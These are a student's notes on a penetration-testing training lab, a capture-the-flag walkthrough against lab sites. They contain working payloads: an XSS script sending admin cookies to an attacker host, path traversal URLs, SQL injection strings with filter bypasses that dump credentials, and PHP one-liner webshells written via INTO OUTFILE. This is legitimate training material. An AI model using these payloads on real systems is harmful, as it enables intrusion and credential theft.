渗透测试学习Week3-渗透测试项目实训(一)
作者:互联网
渗透测试项目实训
by 奇安信 (南航大二下暑期卓越班课程) 讲师:zzf
在内网进行
项目初始信息
三个域名
www.qianxin.com
blog.qianxin.com
news.qianxin.com
渗透项目从这三个域名开始着手,企业内部环境需要自行探索
环境拓扑
两台操作机,右侧为靶机
实训任务
一
登录www.qianxin.com网站后台获取flag1
漏洞发现
网页特点:通过输入框评论文章
xss漏洞测试
<script>alert(1)</script>
:xss测试代码插入至评论框(弹出一个内容为1的对话框)
进一步测试
刷新网页,即时看到弹出的效果
测试结果
网站存在存储型xss漏洞
原理简述
提交评论后,数据已经存储到了数据库中,页面会直接刷新并直接到数据库中读取数据库中此页面的评论
漏洞利用
可以通过存储型xss漏洞,获取管理员cookie,从而登录web后台(前提:管理员会访问网站后台评论)
原理和具体利用
管理员浏览留言时,遇到alert语句,只会在管理员端弹出他的cookie
;要让管理员执行我们插入的恶意代码时将他的cookie
返回到本机;即通过在本机搭建一个web服务器,插入评论的js代码中访问本机的网站,并将对方的cookie作为参数返回
具体代码
python -m SimpleHTTPServer 7777
:搭建简单的web服务,此服务开放在7777端口上
<script>windows.open('http://202.1.1.10:7777/?msg='+document.cookie)</script>
:恶意代码
该恶意代码被管理员访问后,会将其cookie发送给本地web服务中;202.1.1.10
:本机地址;
工具使用
burpsuit
将我们所有访问此网站的cookie替换为管理员的cookie
- 配置burpsuit监听端口
127.0.0.1:8080
- 配置浏览器的代理与burp一致
- Match:
^Cookie.*$
;Replace:Cookie:JSESSIONID=...
最终将firefox的所有浏览流量中的cookie值替换了
名词解释
cookie
:小块数据;身份验证cookie可以验证用户是否登录以及他们使用哪个账户登录
web服务
:(Web Service) 通过网络调用其他网站的资源
xss攻击
:注入恶意指令代码到网页,使用户加载并执行恶意制造的网页程序
结果
访问http://www.qianxin.com/admin/
:完成以管理员身份登录到后台;获取flag1
小结
通过xss漏洞获取管理员cookie并登录后台从而获取有用信息
二
通过www.qianxin.com后台目录遍历漏洞,获取服务器tomcat管理页面的账户密码并登录获取flag2
逻辑前提
安装完tomcat时默认不能用,如果要使用需要修改tomcat的安装目录下conf
目录中的tomcat_users.xml
文件;故应先读取此内容
漏洞发现
管理员页面特点:模板资源下可以列出指定目录下的文件并能修改指定后缀的文件;
选择不同的目录,url没有跳转 --> 列出不同目录的文件可能为POST传参;通过进一步发现就是用户自己控制post参数
目录遍历漏洞测试
程序未实现对../
一类的目录跳转符进行过滤导致 Path traversal
http://www.qianxin.com/admin/cms/template/getTemplates.html?res_path=res&dir=&up_dir=../../../../../../../../
通过../
的个数测试出本机中web中间件的根目录中的文件;再通过控制dir
内容一起达到任意目录的访问
http://www.qianxin.com/admin/cms/template/getTemplates.html?res_path=res&dir=&up_dir=../../../../../apache-tomcat-6.0.32
结果
查看文件即可得到账户和密码;登录Tomcat默认管理页面登录获取flag3
小结
通过目录遍历漏洞达到任意目录查看获取有用信息
三
在www.qianxin.com服务器的c盘根目录获取flag3
漏洞发现
在tomcat管理界面可以上传文件,且限制少
文件上传漏洞
将木马文件打包成war
上传即可
获取webshell
访问该木马文件即可获取webshell
小结
通过文件上传漏洞,上传木马从而获取到webshell;访问该服务器目录获取有用信息
四
通过new.qianxin.com网站某页面存在的SQL注入漏洞获取数据库中的flag4
页面特点:cms
工具使用
wwwscan
扫描工具对网站进行扫描得到文件目录;发现有sql目录
漏洞发现
sql目录可以访问;还能改参数 news.qianxin.com/sql/?id=1
SQL注入测试
单引号测试:
http://news.qianxin.com/sql/?id=2'
构造sql注入paylaod:
http://news.qianxin.com/sql/?id=2%0Aand%0A=1 --
根据页面响应判断出存在注入
漏洞利用
-
测试判断表中字段数
?id=2%0Aorder%0Aby%0A10 --
:10 -
确定sql注入回显位并判断判断当前连接数据库的用户
id=2%0Aununionion%0Aselselectect%0A1,2,user(),4,5,6,7,8,9,10 --%0A--
:回显点 2 -
获取数据库字段名
id=2%0Aununionion%0Aselselectect%0A1,2,group_concat(column_name),4,5,6,7,8,9,10%0Afrom%0Ainformation_schema.columns%0Awhere%0Atable_name=%27dede_admin%27 --%0A--
-
读取数据库中
dede_admin
表中数据id=2%0Aununionion%0Aselselectect%0A1,2,group_concat(userid,pwd),4,5,6,7,8,9,10%0Afrom%0Adede_admin%0Awhere%0Aid=2 --%0A--
得到flag数据
名词解释
cms
:内容管理系统
wwwscan
:网站目录文件批量扫描工具
%0A
:空格
%27
:'
(单引号)
uniunionon
:复写绕过union关键字过滤
user()
:用户函数
group_concat(user,id)
:字符串拼接函数,参数为user和id字段
column_name
:字段名
information_schema.columns
:允许你获取数据库中所有表和视图的所有列的信息
table_name
:表名
小结
通过SQL注入漏洞来获取数据库中的有用信息
五
登录news.qianxin.com网站,获取网站后台首页的flag5
获取账户密码
在上一个任务中,id=1即admin,构造url同理获取admin密码即可
id=2%0Aununionion%0Aselselectect%0A1,2,group_concat(userid,pwd),4,5,6,7,8,9,10%0Afrom%0Adede_admin%0Awhere%0Aid=1 --%0A--
观测可得密码为MD5加密;解密即可
寻找后台登陆地址
默认dedecms
后台登录地址为: /dede/目录
在之前扫出来的目录结果中看到的疑似目录:.com:80/manager/login.php
结果
登录获取flag5
小结
通过SQL注入漏洞来获取数据库中的有用信息,比如后台登陆账户和密码;通过观察网页架构比如cms可获取有用信息
补充
通过SQL注入获取可访问路径的绝对路径:比如单引号引起的报错
apache配置文件位置
select load_file('/etc/apache/conf/httpd.conf') #user() (回显点)改为 load_file函数即可 Windows
select load_file('/etc/httpd/conf/httpd.conf') #Linux
通过SQL注入获取Apache配置文件内容:
id=2%0auniunionon%0Aseleselectct%0A1,2,load_file("/etc/httpd/conf/httpd.conf"),4,5,6,7,8,9,10
通过SQL注入获取shell:
.com/sql/index.php?id=2%0Auniunionon%0Aselselectect%0A1,2,'<?php eval($_POST[123])?>',4,5,6,7,8,9,10%0Ainto%0Aoutfile '/var/www/html/shell.php'--%0A--
防止一句话木马被过滤,使用16进制绕过:
2%0auniunionon%0aselselectect%0a1,2,0x3c3f706870406576616c28245f504f53545b636d645d293b3f3e,4,5,6,7,8,9,10%0ainto%0aoutfile%0a"/var/www/html/test1.php"
六
读取www.qianxin.com网站配置文件中的flag6
寻找网站配置文件
查找资料可知dedcms的配置文件目录:
dede数据库配置文件路径:/data/common.inc.php
浏览网站后台的文件管理器中寻找相应文件
结果
找到common.inc.php
文件;
获取信息:数据库的用户名和密码;ip信息
其他内容
正常情况下web会连接本机的数据库,此时host为127.0.0.1
或者localhost
这样主机ip改变后不会影响数据库的连接;
若host为具体ip,则可能此ip就是本机ip地址也可能是这个web连接的不是本机数据库,而是另一台机器的;
此时可以进行信息收集
小结
从网站的后台进行信息收集,通过dedcms查找有关有用信息比如dede数据库配置文件,如获取数据库的用户名和密码;相关ip信息
七
读取news.qianxin.com服务器中/home目录下的flag7
目前情况
已成功登录web后台,但未获取webshell
逻辑前提
要读取/home目录下的文件,需要得到服务器权限,即需要服务器ssh的账户和密码;故此时要先获取webshell并查看其权限,低权限则提权即可
文件上传漏洞
在后台管理页面的文件管理器中存在任意文件上传;此时上传木马再用shell管理软件连接即可获取webshell
一句话木马
<?php eval($_POST[cmd])?> #参数为cmd,这个随意
后续提权
在Kali中使用Cknife中国菜刀连接shell:java -jar Cknife.jar #启动
打开虚拟终端
id
:查看当前webshell的权限 --> uid=48(apache)
故此时为apache权限,尝试读取/home目录下文件 ls -al /home
发现对flag7有可读权限
结果
成功读取flag7
小结
通过文件上传漏洞获取网页后台的webshell;根据该shell的权限来判断是否需要进一步提权
小结
-
对已有的资产(比如域名)进行探索
-
对网页进行观察并测试是否有可利用的漏洞
-
通过漏洞利用登录网页后台并做信息收集
-
通过漏洞利用做信息收集以及获取webshell
-
连上webshell,做信息收集,并根据需要进行提权进一步信息收集
标签:测试项目,..,漏洞,渗透,qianxin,获取,实训,com,id 来源: https://www.cnblogs.com/hyq2/p/16491554.html